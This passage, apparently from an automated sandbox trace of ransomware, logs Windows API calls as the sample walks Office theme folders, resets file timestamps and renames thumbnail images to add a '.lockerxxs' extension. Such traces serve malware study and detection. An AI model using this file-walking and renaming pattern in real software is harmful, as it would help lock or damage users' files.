Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.lockerxxs")) returned 1 [0059.048] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.048] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.048] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0059.048] lstrcmpA (lpString1=".", lpString2="COMPASS") returned -1 [0059.048] lstrcmpA (lpString1="..", lpString2="COMPASS") returned -1 [0059.048] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.049] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.049] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.049] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.049] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.049] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0059.049] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.051] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.051] CloseHandle (hObject=0x90) returned 1 [0059.051] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", lpString2="COMPASS.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" [0059.051] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", pszSpec="*.ems") returned 0 [0059.051] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x4f8510, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0059.051] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.052] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.052] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.052] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.052] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.054] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.054] CloseHandle (hObject=0x90) returned 1 [0059.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.lockerxxs")) returned 1 [0059.058] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.058] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.058] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0059.058] lstrcmpA (lpString1=".", lpString2="CONCRETE") returned -1 [0059.058] lstrcmpA (lpString1="..", lpString2="CONCRETE") returned -1 [0059.058] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0059.060] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.060] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.060] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.060] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.060] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0059.060] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.064] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.064] CloseHandle (hObject=0x90) returned 1 [0059.064] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", lpString2="CONCRETE.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" [0059.064] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", pszSpec="*.ems") returned 0 [0059.064] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x4f8518, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0059.064] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.064] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.064] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.065] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.065] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.068] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.068] CloseHandle (hObject=0x90) returned 1 [0059.069] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.lockerxxs")) returned 1 [0059.069] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.069] FindClose (in: hFindFile=0x4f81f0 | out: hFindFile=0x4f81f0) returned 1 [0059.070] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8230, dwReserved1=0x3, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0059.070] lstrcmpA (lpString1=".", lpString2="DEEPBLUE") returned -1 [0059.070] lstrcmpA (lpString1="..", lpString2="DEEPBLUE") returned -1 [0059.070] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0059.071] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.071] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.071] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.071] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.072] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0059.072] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.076] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.076] CloseHandle (hObject=0x90) returned 1 [0059.076] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", lpString2="DEEPBLUE.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" [0059.077] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", pszSpec="*.ems") returned 0 [0059.077] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x4f8518, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0059.077] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.077] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.077] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.077] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.077] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.085] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.085] CloseHandle (hObject=0x90) returned 1 [0059.085] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.lockerxxs")) returned 1 [0059.086] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.086] FindClose (in: hFindFile=0x4f81f0 | out: hFindFile=0x4f81f0) returned 1 [0059.086] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8230, dwReserved1=0x3, cFileName="ECHO", cAlternateFileName="")) returned 1 [0059.086] lstrcmpA (lpString1=".", lpString2="ECHO") returned -1 [0059.086] lstrcmpA (lpString1="..", lpString2="ECHO") returned -1 [0059.086] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.087] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.087] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.088] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.088] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.088] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0059.088] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.089] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.089] CloseHandle (hObject=0x90) returned 1 [0059.090] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", lpString2="ECHO.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" [0059.090] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", pszSpec="*.ems") returned 0 [0059.090] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0059.090] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.090] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, 